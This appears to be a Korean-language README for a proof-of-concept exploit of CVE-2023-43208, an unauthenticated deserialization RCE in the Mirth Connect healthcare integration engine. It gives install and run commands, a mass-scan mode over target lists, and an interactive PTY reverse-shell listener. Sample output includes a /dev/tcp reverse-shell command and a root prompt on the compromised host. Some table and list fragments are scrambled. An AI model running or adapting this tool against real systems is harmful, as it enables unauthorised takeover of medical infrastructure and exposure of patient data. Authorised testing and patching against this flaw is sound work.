
XML 역직렬화를 통한 Mirth Connect의 CVE-2023-43208에 대한 인증되지 않은 RCE 악용 코드로, 버전 탐지, 대량 스캔, 대화형 PTY 셸을 포함합니다.
CVE-2023-43208에 대한 개념 증명 익스플로잇으로, 인증되지 않은 원격 코드 실행 취약점이며 Mirth Connect 버전
4.4.1미만에 영향을 줍니다.
Mirth Connect는 널리 배포된 오픈소스 의료 통합 엔진입니다. 이 취약점은 /api/users 엔드포인트를 통해 조작된 XML 페이로드를 사용하여 Apache Commons Collections 가젯을 체인화하는 Java 역직렬화 결함을 악용하여 인증되지 않은 RCE를 달성합니다.
향상된 버전은 원래의 pwncat 리스너를 Python 내장 함수만 사용하는 (socket, select, tty, ) 완전한 의존성 없는 대화형 PTY 셸로 대체합니다. 연결 시 셸이 자동으로 전체 PTY로 업그레이드됩니다.
termios| 소프트웨어 | 취약한 버전 | 수정된 버전 |
|---|---|---|
| Mirth Connect | < 4.4.1 | 4.4.1+ |
python3/python/script 폴백)stty rows/cols)pwncat 의존성 없음 — 리스너는 표준 라이브러리만 사용git clone https://github.com/yourrepo/CVE-2023-43208
cd CVE-2023-43208
pip install -r requirements.txt
requests
packaging
rich
alive-progress
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <PORT>
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <NGROK_PORT> -bp <LOCAL_PORT>
python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt
| 플래그 | 설명 |
|---|---|
-u, --url | 대상 URL |
-lh, --lhost | 리스닝 IP |
-lp, --lport | 리스닝 포트 |
-bp, --bindport | 바인드 포트 재정의 (ngrok 사용 시 유용) |
-f, --file | 대상 URL 목록이 포함된 파일 |
-o, --output | 취약한 대상을 파일로 저장 |
-t, --threads | 스캔 시 스레드 수 (기본값: 50) |
[*] Setting up listener on 10.10.15.202:4444 and launching exploit...
[*] Waiting for incoming connection on port 4444...
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...'
[*] Launching exploit against https://10.129.5.3...
[+] Received connection from 10.129.5.3:59640
[+] Shell opened! Upgrading to PTY...
root@mirth:/#
이 도구는 승인된 침투 테스트 및 교육 목적으로만 사용해야 합니다. 소유하지 않았거나 테스트 허가를 명시적으로 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.